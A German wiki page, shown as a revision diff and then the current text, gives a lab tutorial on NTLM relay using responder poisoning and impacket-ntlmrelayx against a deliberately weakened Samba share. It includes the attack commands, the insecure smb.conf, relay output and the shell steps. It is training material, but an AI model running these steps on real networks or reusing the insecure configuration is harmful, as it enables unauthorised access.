NTLM-Relay auf Samba-Freigabe mit Impacket: Unterschied zwischen den Versionen
Keine Bearbeitungszusammenfassung |
K Thomas.will verschob die Seite Windows SMB Relay via ARP Spoofing nach NTLM-Relay auf Samba-Freigabe mit Impacket |
||
| (7 dazwischenliegende Versionen desselben Benutzers werden nicht angezeigt) | |||
| Zeile 1: | Zeile 1: | ||
= NTLM-Relay auf Samba-Freigabe mit Impacket = | = NTLM-Relay auf Samba-Freigabe mit Impacket = | ||
== Allgemeine Funktionsweise == | |||
=== responder === | |||
* Lauscht im lokalen Netz auf Anfragen per LLMNR (UDP 5355) und NBT-NS (UDP 137) | |||
* Antwortet gezielt auf Namensanfragen, wenn ein Windows-Client einen Hostnamen nicht auflösen kann | |||
* Täuscht dem Client vor, der gesuchte Host zu sein, und provoziert so eine NTLM-Authentifizierung | |||
=== ntlmrelayx === | |||
* Fängt die NTLM-Authentifizierung des Clients ab | |||
* Leitet sie im Relay-Modus an ein vom Angreifer bestimmtes Ziel weiter (z. B. einen Samba-Server) | |||
* Baut auf dem Zielsystem eine authentifizierte Session auf, ohne das Passwort zu kennen | |||
* Bietet eine interaktive SMB-Shell, um Freigaben zu nutzen oder Dateien hochzuladen | |||
== Ziel == | == Ziel == | ||
| Zeile 11: | Zeile 24: | ||
== Samba-Freigabe vorbereiten == | == Samba-Freigabe vorbereiten == | ||
Konfiguration in '''/etc/samba/smb.conf''': | |||
<pre> | <pre> | ||
[global] | [global] | ||
workgroup = WORKGROUP | workgroup = WORKGROUP | ||
server string = Relayziel | server string = Relayziel | ||
guest account = nobody | guest account = nobody | ||
ntlm auth = yes | ntlm auth = yes | ||
| Zeile 22: | Zeile 34: | ||
client lanman auth = yes | client lanman auth = yes | ||
client ntlmv2 auth = yes | client ntlmv2 auth = yes | ||
server min protocol = | server min protocol = NT1 | ||
[share] | [share] | ||
| Zeile 33: | Zeile 45: | ||
force user = nobody | force user = nobody | ||
force group = nogroup | force group = nogroup | ||
[homes] | |||
comment = Home Directories | |||
valid users = %S | |||
browseable = No | |||
read only = No | |||
inherit acls = Yes | |||
create mode = 0600 | |||
directory mode = 0700 | |||
</pre> | </pre> | ||
Verzeichnis erstellen und Rechte setzen: | |||
<pre> | <pre> | ||
mkdir -p /mnt/media/share | mkdir -p /mnt/media/share | ||
| Zeile 42: | Zeile 63: | ||
systemctl restart smbd | systemctl restart smbd | ||
</pre> | </pre> | ||
== Verbindung testen == | == Verbindung testen == | ||
| Zeile 54: | Zeile 69: | ||
</pre> | </pre> | ||
→ Die Freigabe | → Die Freigabe „share“ muss sichtbar sein. Es darf kein „Signing: required“ erscheinen. | ||
== | == responder starten == | ||
<pre> | <pre> | ||
responder -I eth0 - | responder -I eth0 -wd | ||
</pre> | </pre> | ||
Nur LLMNR/NBT-NS-Poisoning aktivieren. Kein integrierter SMB-Server darf laufen. | |||
== ntlmrelayx starten == | == ntlmrelayx starten == | ||
| Zeile 68: | Zeile 83: | ||
</pre> | </pre> | ||
ntlmrelayx lauscht auf eingehende NTLM-Verbindungen und leitet sie direkt an die Samba-Freigabe weiter. | |||
Bei Erfolg wird eine interaktive SMB-Shell auf Port 11000 geöffnet. | |||
== Angriff auslösen == | == Angriff auslösen == | ||
Auf dem Windows-Client folgenden UNC-Pfad im Explorer | Auf dem Windows-Client folgenden UNC-Pfad im Explorer oder per PowerShell öffnen: | ||
<pre> | <pre> | ||
\\irgendwas | \\irgendwas | ||
</pre> | </pre> | ||
Wenn der Hostname nicht aufgelöst werden kann, erfolgt ein LLMNR-Broadcast. responder antwortet, ntlmrelayx relayed den NTLM-Auth an das Ziel. | |||
== Erfolgreicher Zugriff == | == Erfolgreicher Zugriff == | ||
In ntlmrelayx erscheint: | |||
<pre> | <pre> | ||
[*] Authenticating against smb://10.0.10.104 as WORKGROUP\Benutzer SUCCEED | [*] Authenticating against smb://10.0.10.104 as WORKGROUP\Benutzer SUCCEED | ||
[!] Interactive SMB shell opened... | [!] Interactive SMB shell opened... | ||
</pre> | |||
Verbindung zur SMB-Shell herstellen: | |||
<pre> | |||
nc localhost 11000 | |||
</pre> | |||
Innerhalb der Shell: | |||
<pre> | |||
shares | |||
use share | |||
ls | |||
upload /tmp/test.txt | |||
</pre> | </pre> | ||
| Zeile 92: | Zeile 119: | ||
</pre> | </pre> | ||
→ Datei ist vorhanden | → Die Datei ist vorhanden. | ||
== Fehlerbehebung == | == Fehlerbehebung == | ||
{| class="wikitable" | {| class="wikitable" | ||
! Problem | ! Problem || Mögliche Ursache || Lösung | ||
|- | |- | ||
| Kein Relay möglich || SMB Signing aktiv || smbclient zeigt „Signing: required“ – ntlmrelayx funktioniert nur ohne Signing | | Kein Relay möglich || SMB Signing aktiv || smbclient zeigt „Signing: required“ – ntlmrelayx funktioniert nur ohne Signing | ||
| Kein Login || NTLM wird abgelehnt || In smb.conf: map to guest = | |- | ||
| Kein Login || NTLM wird abgelehnt || In smb.conf: map to guest = Bad User, ntlm auth = yes | |||
|- | |||
| Keine Shell || Share nicht schreibbar || read only = no, force user = nobody, chmod 777 prüfen | | Keine Shell || Share nicht schreibbar || read only = no, force user = nobody, chmod 777 prüfen | ||
| Kein Poisoning || LLMNR deaktiviert || Windows | |- | ||
| Kein Poisoning || LLMNR deaktiviert || Windows prüfen: Get-NetAdapterBinding -ComponentID ms_llmnrs | |||
|- | |||
| Verbindung scheitert || Routing-Problem || ping vom Kali auf Ziel prüfen | | Verbindung scheitert || Routing-Problem || ping vom Kali auf Ziel prüfen | ||
| ntlmrelayx zeigt nichts || Kein NTLM angekommen || | |- | ||
| ntlmrelayx zeigt nichts || Kein NTLM angekommen || UNC muss nicht auflösbar sein (z. B. \\irgendwas) | |||
|} | |} | ||
== Hinweise == | == Hinweise == | ||
* Funktioniert nur in Netzen mit aktivem LLMNR oder NBT-NS und deaktiviertem SMB-Signing | |||
* Funktioniert nur in | * Für realistische Szenarien sollte SMB-Signing am Server aktiv sein | ||
* | * Eignet sich für Labors und Schulungsumgebungen zur Demonstration von NTLM-Relaying | ||
Aktuelle Version vom 18. Mai 2025, 18:23 Uhr
NTLM-Relay auf Samba-Freigabe mit Impacket
Allgemeine Funktionsweise
responder
- Lauscht im lokalen Netz auf Anfragen per LLMNR (UDP 5355) und NBT-NS (UDP 137)
- Antwortet gezielt auf Namensanfragen, wenn ein Windows-Client einen Hostnamen nicht auflösen kann
- Täuscht dem Client vor, der gesuchte Host zu sein, und provoziert so eine NTLM-Authentifizierung
ntlmrelayx
- Fängt die NTLM-Authentifizierung des Clients ab
- Leitet sie im Relay-Modus an ein vom Angreifer bestimmtes Ziel weiter (z. B. einen Samba-Server)
- Baut auf dem Zielsystem eine authentifizierte Session auf, ohne das Passwort zu kennen
- Bietet eine interaktive SMB-Shell, um Freigaben zu nutzen oder Dateien hochzuladen
Ziel
Ein Windows-Client im lokalen Netz wird über LLMNR vergiftet. Die dabei gesendete NTLM-Authentifizierung wird per ntlmrelayx an einen Samba-Server weitergeleitet. Dieser akzeptiert relayed Logins als Gast und erlaubt dadurch Uploads auf eine offene Freigabe.
Umgebung
- Angreifer: Kali Linux mit responder und impacket
- Opfer: Windows-System im selben LAN (z. B. 10.0.10.102)
- Ziel: Linux mit Samba-Freigabe (z. B. 10.0.10.104)
Samba-Freigabe vorbereiten
Konfiguration in /etc/samba/smb.conf:
[global] workgroup = WORKGROUP server string = Relayziel guest account = nobody ntlm auth = yes lanman auth = yes client lanman auth = yes client ntlmv2 auth = yes server min protocol = NT1 [share] comment = Relay-Ziel path = /mnt/media/share read only = no guest ok = yes public = yes browseable = yes force user = nobody force group = nogroup [homes] comment = Home Directories valid users = %S browseable = No read only = No inherit acls = Yes create mode = 0600 directory mode = 0700
Verzeichnis erstellen und Rechte setzen:
mkdir -p /mnt/media/share chown nobody:nogroup /mnt/media/share chmod 777 /mnt/media/share systemctl restart smbd
Verbindung testen
smbclient -L //10.0.10.104 -N
→ Die Freigabe „share“ muss sichtbar sein. Es darf kein „Signing: required“ erscheinen.
responder starten
responder -I eth0 -wd
Nur LLMNR/NBT-NS-Poisoning aktivieren. Kein integrierter SMB-Server darf laufen.
ntlmrelayx starten
impacket-ntlmrelayx -t smb://10.0.10.104 -smb2support -i --no-http-server --no-wcf-server --no-raw-server
ntlmrelayx lauscht auf eingehende NTLM-Verbindungen und leitet sie direkt an die Samba-Freigabe weiter. Bei Erfolg wird eine interaktive SMB-Shell auf Port 11000 geöffnet.
Angriff auslösen
Auf dem Windows-Client folgenden UNC-Pfad im Explorer oder per PowerShell öffnen:
\\irgendwas
Wenn der Hostname nicht aufgelöst werden kann, erfolgt ein LLMNR-Broadcast. responder antwortet, ntlmrelayx relayed den NTLM-Auth an das Ziel.
Erfolgreicher Zugriff
In ntlmrelayx erscheint:
[*] Authenticating against smb://10.0.10.104 as WORKGROUP\Benutzer SUCCEED [!] Interactive SMB shell opened...
Verbindung zur SMB-Shell herstellen:
nc localhost 11000
Innerhalb der Shell:
shares use share ls upload /tmp/test.txt
Auf dem Zielsystem prüfen:
ls -l /mnt/media/share
→ Die Datei ist vorhanden.
Fehlerbehebung
| Problem | Mögliche Ursache | Lösung |
|---|---|---|
| Kein Relay möglich | SMB Signing aktiv | smbclient zeigt „Signing: required“ – ntlmrelayx funktioniert nur ohne Signing |
| Kein Login | NTLM wird abgelehnt | In smb.conf: map to guest = Bad User, ntlm auth = yes |
| Keine Shell | Share nicht schreibbar | read only = no, force user = nobody, chmod 777 prüfen |
| Kein Poisoning | LLMNR deaktiviert | Windows prüfen: Get-NetAdapterBinding -ComponentID ms_llmnrs |
| Verbindung scheitert | Routing-Problem | ping vom Kali auf Ziel prüfen |
| ntlmrelayx zeigt nichts | Kein NTLM angekommen | UNC muss nicht auflösbar sein (z. B. \\irgendwas) |
Hinweise
- Funktioniert nur in Netzen mit aktivem LLMNR oder NBT-NS und deaktiviertem SMB-Signing
- Für realistische Szenarien sollte SMB-Signing am Server aktiv sein
- Eignet sich für Labors und Schulungsumgebungen zur Demonstration von NTLM-Relaying